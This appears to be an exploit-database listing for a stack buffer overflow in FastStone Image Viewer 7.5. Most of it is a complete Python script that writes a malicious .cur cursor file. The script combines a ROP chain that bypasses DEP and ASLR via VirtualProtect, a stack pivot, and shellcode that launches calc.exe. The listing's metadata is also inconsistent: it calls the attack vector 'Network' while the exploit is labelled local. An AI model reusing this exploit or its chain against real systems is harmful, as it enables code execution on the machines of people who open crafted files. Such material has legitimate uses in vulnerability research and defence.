FastStone Image Viewer 7.5 Buffer Overflow
CVE
Category
Price
Severity
CVE-2021-1389
CWE-119
$5000
Critical
Author
Risk
Exploitation Type
Date
Unknown
High
Local
2021-03-18
CPE
cpe:cpe:/a:faststone:image_viewer:7.5
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021030109 FastStone Image Viewer 7.5 Buffer Overflow # Exploit title: FastStone Image Viewer 7.5 - .cur BITMAPINFOHEADER 'BitCount' Stack Based Buffer Overflow (ASLR & DEP Bypass)
# Exploit Author: Paolo Stagno
# Date: 15/03/2020
# Vendor Homepage: https://www.faststone.org/
# Download: https://www.faststonesoft.net/DN/FSViewerSetup75.exe
# https://github.com/VoidSec/Exploit-Development/tree/master/windows/x86/local/FastStone_Image_Viewer_v.7.5/
# Version: 7.5
# Tested on: Windows 10 Pro x64 v.1909 Build 18363.1256
# Category: local exploit
# Platform: windows
# Module info :
#----------------------------------------------------------------------------------------------------------------------
#Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
#----------------------------------------------------------------------------------------------------------------------
#0x00400000 | 0x00abf000 | 0x006bf000 | False | False | False | False | False | 7.5.0.0 [FSViewer.exe] (C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe)
#0x6ad80000 | 0x6adfe000 | 0x0007e000 | False | False | False | False | False | -1.0- [fsplugin05.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll)
#0x6afb0000 | 0x6b011000 | 0x00061000 | True | True | False | False | False | -1.0- [fsplugin06.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll)
#----------------------------------------------------------------------------------------------------------------------
#!/usr/bin/python
import struct, sys
print("\n[>] FastStone Image Viewer v. <= 7.5 Exploit by VoidSec\n")
filename="FSViewer_v.7.5_exploit.cur"
###################################################################################
# Shellcode
# MAX Shellcode size: 556
# ImageData - ROP NOP - Rop Chain - Stack Adjustment = 776 - 144 - 68 - 8 = 556
# Custom calc.exe shellcode
# size: 112
###################################################################################
shellcode=(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7"
)
if (len(shellcode)>556):
sys.exit("Shellcode's size must be <= 556 bytes")
###################################################################################
# Cur File Format
# ---------------------------------------------------------------------------------
# | Reserved | Type | Image Count |
# | 00 00 | 02 00 | 02 00 | <- CUR file will contains two images
# Entries:
# | Width | Height | ColorCount | Reserved | XHotSpot | YHotSpot | SizeInBytes | File Offset |
# | 30 | 30 | 00 | 00 | 01 00 | 02 00 | 30 03 00 00 | 26 00 00 00 | <- we'll corrupt the first image with rop chain & shellcode
# | 20 | 20 | 00 | 00 | 02 00 | 04 00 | E8 02 00 00 | 56 03 00 00 | <- while leaving the 2nd one "untouched" a part from the stack pivot (should leave the cursor preview intact)
# 1st Image Info Header:
# | Size | Width | Height | Planes | BitCount | Compression | ImageSize | XpixelsPerM | YpixelsPerM | Colors Used | ColorsImportant |
# | 28 00 00 00 | 30 00 00 00 | 60 00 00 00 | 01 00 | 89 30 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 |
# 1st ImageData(BLOB)
# 2nd Image Info Header:
# 2nd ImageData(BLOB)
# ---------------------------------------------------------------------------------
# BitCount will be used to read # number of bytes into a buffer triggering the buffer overflow
# its value can be modified but we need to account for two operations happening into the software.
# - SHL 1, 89 = 0x200
# - SHL 200, 2 = 0x800 (2048d) number of bytes to be read from the file
# we'll have to pad the image data to match it's size in bytes defined in the header SizeInBytes
# ImageData = SizeInBytes - ImageInfoHeader Size (330h-28h=308h 776d)
###################################################################################
image_data_pad = 776
def create_rop_nop():
rop_gadgets = [
0x6adc5ab6, # 0x6adc5ab6 (RVA : 0x00045ab6) : # DEC ECX # RETN ** [fsplugin05.dll] ** | {PAGE_EXECUTE_READ}
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
def create_rop_chain():
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x00405bd4, # POP EAX ; RETN [FSViewer.exe]
0x6adf4160, # ptr to &VirtualProtect() [IAT fsplugin05.dll]
0x008b3977, # MOV EAX,DWORD PTR DS:[EAX] ; RETN [FSViewer.exe]
0x0083f67a, # XCHG EAX,ESI ; RETN [FSViewer.exe]
#[---INFO:gadgets_to_set_ebp:---]
0x005b35b8, # POP EBP ; RETN [FSViewer.exe]
0x00454521, # & jmp esp [FSViewer.exe]
#[---INFO:gadgets_to_set_ebx:---]
0x00630472, # POP EBX ; RETN [FSViewer.exe]
0x00000201, # 0x00000201-> ebx
#[---INFO:gadgets_to_set_edx:---]
0x004798db, # POP EDX ; RETN [FSViewer.exe]
0x00000040, # 0x00000040-> edx
#[---INFO:gadgets_to_set_ecx:---]
0x004c7832, # POP ECX ; RETN [FSViewer.exe]
0x00991445, # &Writable location [FSViewer.exe]
#[---INFO:gadgets_to_set_edi:---]
0x0040c3a8, # POP EDI ; RETN [FSViewer.exe]
0x0057660b, # RETN (ROP NOP) [FSViewer.exe]
#[---INFO:gadgets_to_set_eax:---]
0x00404243, # POP EAX ; RETN [FSViewer.exe]
0x90909090, # nop
#[---INFO:pushad:---]
0x6adc21bf, # PUSHAD # RETN [fsplugin05.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
# Cur image = 1597 bytes
###################################################################################
cur_Signature = "\x00\x00\x02\x00\x02\x00" # | Reserved | Type | Image Count |
cur_Entries = (
"\x30\x30\x00\x00\x01\x00\x02\x00\x30\x03\x00\x00\x26\x00\x00\x00" # 1st Entry
"\x20\x20\x00\x00\x02\x00\x04\x00\xE8\x02\x00\x00\x56\x03\x00\x00" # 2nd Entry
)
# 1st Image Info Header
cur_1InfoHeader = "\x28\x00\x00\x00\x30\x00\x00\x00\x60\x00\x00\x00\x01\x00\x89\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# 1st ImageData
# cur_1ImageData_orig = "\x00\x00\x00\x00\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xC0\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x20\x80\x00\x00\x00\x00\x00\x00\x20\x80\x00\x00\x00\x00\x00\x80\x41\x00\x1F\x80\x00\x00\x00\xC0\x41\x00\x3F\xC0\x00\x00\x00\xA0\x82\x00\x3F\xC0\x00\x00\x00\x90\x82\x00\x1F\x80\x00\x00\x00\x89\x04\x00\x00\x00\x00\x00\x00\x85\x04\x00\x1F\x80\x00\x00\x00\x82\x08\x00\x1F\x80\x00\x00\x00\x80\x0F\xFE\x1F\x80\x00\x00\x00\x80\x00\x04\x1F\x80\x00\x00\x00\x80\x00\x08\x0F\x80\x00\x00\x00\x80\x00\x10\x07\xC0\x00\x00\x00\x80\x00\x20\x03\xE0\x00\x00\x00\x80\x00\x47\xC1\xF0\x00\x00\x00\x80\x00\x87\xC1\xF8\x00\x00\x00\x80\x01\x07\xC1\xFC\x00\x00\x00\x80\x02\x07\xC1\xFC\x00\x00\x00\x80\x04\x07\xC1\xFC\x00\x00\x00\x80\x08\x07\xC1\xFC\x00\x00\x00\x80\x10\x07\xE3\xFC\x00\x00\x00\x80\x20\x03\xFF\xF8\x00\x00\x00\x80\x40\x01\xFF\xF0\x00\x00\x00\x80\x80\x00\xFF\xE0\x00\x00\x00\x81\x00\x00\x00\x00\x00\x00\x00\x82\x00\x00\x00\x00\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00\xA0\x00\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xF8\x3F\xFF\xFF\xFF\x00\x00\xFF\xF0\x1F\xFF\xFF\xFF\x00\x00\xFF\xF0\x1F\xFF\xFF\xFF\x00\x00\xFF\xE0\x3F\xFF\xFF\xFF\x00\x00\xFF\xE0\x3F\xFF\xFF\xFF\x00\x00\xFF\xC0\x7F\xFF\xFF\xFF\x00\x00\xFF\xC0\x7F\xE0\x7F\xFF\x00\x00\x7F\x80\xFF\xC0\x3F\xFF\x00\x00\x3F\x80\xFF\x80\x1F\xFF\x00\x00\x1F\x01\xFF\x80\x1F\xFF\x00\x00\x0F\x01\xFF\xC0\x3F\xFF\x00\x00\x06\x03\xFF\xE0\x7F\xFF\x00\x00\x02\x03\xFF\xC0\x3F\xFF\x00\x00\x00\x07\xFF\xC0\x3F\xFF\x00\x00\x00\x00\x01\xC0\x3F\xFF\x00\x00\x00\x00\x03\xC0\x3F\xFF\x00\x00\x00\x00\x07\xE0\x3F\xFF\x00\x00\x00\x00\x0F\xF0\x1F\xFF\x00\x00\x00\x00\x10\x18\x0F\xFF\x00\x00\x00\x00\x30\x1C\x07\xFF\x00\x00\x00\x00\x70\x1C\x03\xFF\x00\x00\x00\x00\xF0\x1C\x01\xFF\x00\x00\x00\x01\xF0\x1C\x01\xFF\x00\x00\x00\x03\xF0\x1C\x01\xFF\x00\x00\x00\x07\xF0\x1C\x01\xFF\x00\x00\x00\x0F\xF0\x00\x01\xFF\x00\x00\x00\x1F\xF8\x00\x03\xFF\x00\x00\x00\x3F\xFC\x00\x07\xFF\x00\x00\x00\x7F\xFE\x00\x0F\xFF\x00\x00\x00\xFF\xFF\x00\x1F\xFF\x00\x00\x01\xFF\xFF\xFF\xFF\xFF\x00\x00\x03\xFF\xFF\xFF\xFF\xFF\x00\x00\x07\xFF\xFF\xFF\xFF\xFF\x00\x00\x0F\xFF\xFF\xFF\xFF\xFF\x00\x00\x1F\xFF\xFF\xFF\xFF\xFF\x00\x00\x3F\xFF\xFF\xFF\xFF\xFF\x00\x00\x7F\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
print("Generating 1st ImageData BLOB:")
cur_1ImageData = ""
cur_1ImageData += create_rop_nop() * ( (1560 - 1416 ) / 4 ) # 1560 stack pivot - 1416 where our cyclic pattern has been found
print("- ROP NOP:\t\t{}".format(len(cur_1ImageData)))
cur_1ImageData += create_rop_chain()
print("- ROP Chain:\t\t{}".format(len(create_rop_chain())))
cur_1ImageData += "\x81\xC4\x44\xFD\xFF\xFF\x90\x90" # stack adjustment for meterpreter GetPC routine: add esp, -700
print("- Stack Adjustment:\t8")
cur_1ImageData += shellcode
print("- Shellcode:\t\t{}".format(len(shellcode)))
cur_1ImageData += "A" * (image_data_pad - len(cur_1ImageData))
# 2nd Image Info Header
cur_2InfoHeader = "\x28\x00\x00\x00\x20\x00\x00\x00\x40\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# 2nd ImageData (if this does not trigger the stack pivot it should be changed removing the beginning \x00 byte of cur_2ImageData2 and adding it back at the end of cur_2ImageData section)
cur_2ImageData = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x80\x00\x80\x00\x00\x00\x80\x00\x80\x00\x80\x80\x00\x00\xC0\xC0\xC0\x00\x80\x80\x80\x00\x00\x00\xFF\x00\x00\xFF\x00\x00\x00\xFF\xFF\x00\xFF\x00\x00\x00\xFF\x00\xFF\x00\xFF\xFF\x00\x00\xFF\xFF\xFF\x00\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x1F\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x1F\x00\x0F\x11\x11\x11\x10\x00\x11\x11\x11\x11\x11\x11\x11\x11\x1F\x00\x0F\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF1\x11\x11\xF0\x00\xF1\x11\x11\x10\xFF\xFF\xF0\x11\x11\x11\x11\xFF\x11\x11\xF0\x00\xF1\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\xF1\x1F\x00\x0F\x11\x11\x11\x11\x10\x00\x11\x11\x11\x11\x11\xF0\x0F\x1F\x00\x0F\x11\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\xF0\x00\xF1\x11\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\x00\x00\xFF\xFF\xFF\xF1\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\x00\x00\x00\x00\x0F\x11\x11\x10\xFF\xF0\x11\x11\x11\x11\xF0\x00\x00\x00\x00\x00\xF1\x00\x00\x01\x0F\xFF\x01\x11\x11\x11\xF0\x00\x00\x00\x00\x0F\x11\x0F\xFF\x01\x10\xFF\xF0\x11\x11\x11\xF0\x00\x00\x00\x00\xF1\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00\x00\x0F\x11\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00\x00\xF1\x11\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00"
# SEH record overwrite goes here
cur_2ImageData2 = "\x00\xFF\xF0\x0F\xFF\xF0\x11\x11\x11\xF0\x00\x00\xF1\x11\x11\x11\x11\x0F\xFF\xFF\xFF\x01\x11\x11\x11\xF0\x00\x0F\x11\x11\x11\x11\x11\x10\x00\x00\x00\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x0F\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE3\xFF\xFF\xFF\xC1\xFF\xFF\xFF\xC1\xFF\xFF\xFF\x83\xF8\xFF\xFF\x83\xF0\x7F\xDF\x07\xE0\x3F\xCF\x07\xF0\x7F\xC6\x0F\xF8\xFF\xC2\x0F\xF0\x7F\xC0\x1F\xF0\x7F\xC0\x00\x70\x7F\xC0\x00\xF8\x3F\xC0\x01\x04\x1F\xC0\x03\x06\x0F\xC0\x07\x06\x07\xC0\x0F\x06\x07\xC0\x1F\x06\x07\xC0\x3F\x80\x0F\xC0\x7F\xC0\x1F\xC0\xFF\xE0\x3F\xC1\xFF\xFF\xFF\xC3\xFF\xFF\xFF\xC7\xFF\xFF\xFF\xCF\xFF\xFF\xFF\xDF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
###################################################################################
buf = ""
buf += cur_Signature
buf += cur_Entries
buf += cur_1InfoHeader
buf += cur_1ImageData
buf += cur_2InfoHeader
buf += cur_2ImageData
# buf += struct.pack('<I',0x004023da) # SEH pop ecx ; pop ebp ; ret | startnull {PAGE_EXECUTE_READ} [FSViewer.exe]
# 0x0019dc10 : Pointer into normal cyclic pattern at ESP+0x588 (+1416) : 0x0019dc48 : offset 1, length 775
buf += struct.pack('<I',0x6adad2ff) # stack pivot 1560 / 0x618 : ADD ESP,608 ; POP EBX ; POP ESI ; POP EDI ; POP EBP ; RETN ** [fsplugin05.dll] ** | {PAGE_EXECUTE_READ}
buf += cur_2ImageData2
#buf += "B" * (buf_max_size - len(buf))
print("\nWriting CUR File:")
print("--------------------------------------------------------")
print("- Signature + ImageCount:\t{}".format(len(cur_Signature)))
print("- Entries 2/2:\t\t\t{}".format(len(cur_Entries)))
print("- 1st InfoHeader:\t\t{}".format(len(cur_1InfoHeader)))
print("- 1st ImageData:\t\t{}".format(len(cur_1ImageData)))
print("- 2nd InfoHeader:\t\t{}".format(len(cur_2InfoHeader)))
print(" 2nd ImageData 1/2:\t{}".format(len(cur_2ImageData)))
print(" SEH:\t\t\t4")
print(" 2nd ImageData 2/2:\t{}".format(len(cur_2ImageData2)))
print("- 2nd ImageData TOT:\t\t{}".format(len(cur_2ImageData)+4+len(cur_2ImageData2)))
print("--------------------------------------------------------")
print("[+] Writing total {} bytes on {}".format(len(buf), filename))
file = open(filename, "w");
file.write(buf);
file.close();
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